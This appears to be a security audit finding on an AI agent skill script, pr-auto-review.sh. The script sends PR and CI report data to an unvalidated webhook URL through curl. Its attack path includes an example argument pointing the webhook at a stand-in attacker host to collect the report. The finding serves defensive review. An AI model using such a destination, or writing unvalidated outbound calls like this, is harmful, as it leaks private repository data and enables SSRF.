T09 · Insecure Skill Coding Practices
Warning
- Location
scripts/pr-auto-review.sh:149- Finding
Unrestricted webhook destination enables SSRF and report disclosure
- Content
View full analysis
&2 echo "Sending to Discord..." >&2 # Discord webhook: content field max 2000 chars CONTENT=$(head -c 1900 "$REPORT") curl -s -X POST "$DISCORD_WEBHOOK" \ -H "Content-Type: application/json" \ -d "$(jq -n --arg c "$CONTENT" '{content: $c}')" > /dev/null 2>&1 echo "Discord notification sent." >&2 fi ``` ### Technical Analysis The value supplied through `--discord-webhook` is passed directly to `curl` without validating its scheme, hostname, port, or path. Although the option is described as a Discord webhook, the implementation permits HTTP requests to arbitrary attacker-selected destinations. The request body contains up to 1,900 bytes from the generated report. Depending on execution mode, this report can include private PR titles, authors, changed filenames, CI check output, branch details, and health-check results. Sending the report to an arbitrary endpoint exceeds the minimum network access required for the declared Discord notification functionality. ### Attack Path 1. An attacker gains control of, or influences, the arguments used to invoke the Skill. 2. The attacker supplies a destination such as: ```bash --discord-webhook http://attacker.example/collect ``` Alternatively, the attacker supplies an internal HTTP endpoint reachable from the execution host. 3. The script retrieves PR and CI metadata and performs the configured health checks. 4. The script constructs the report and sends its first 1,900 bytes in an HTTP POST to the attacker-selected destination. 5. The attacker receives repository or operational metadata, or uses the request to interact with an internal service ...[truncated 528 chars]- Remediation
View remediation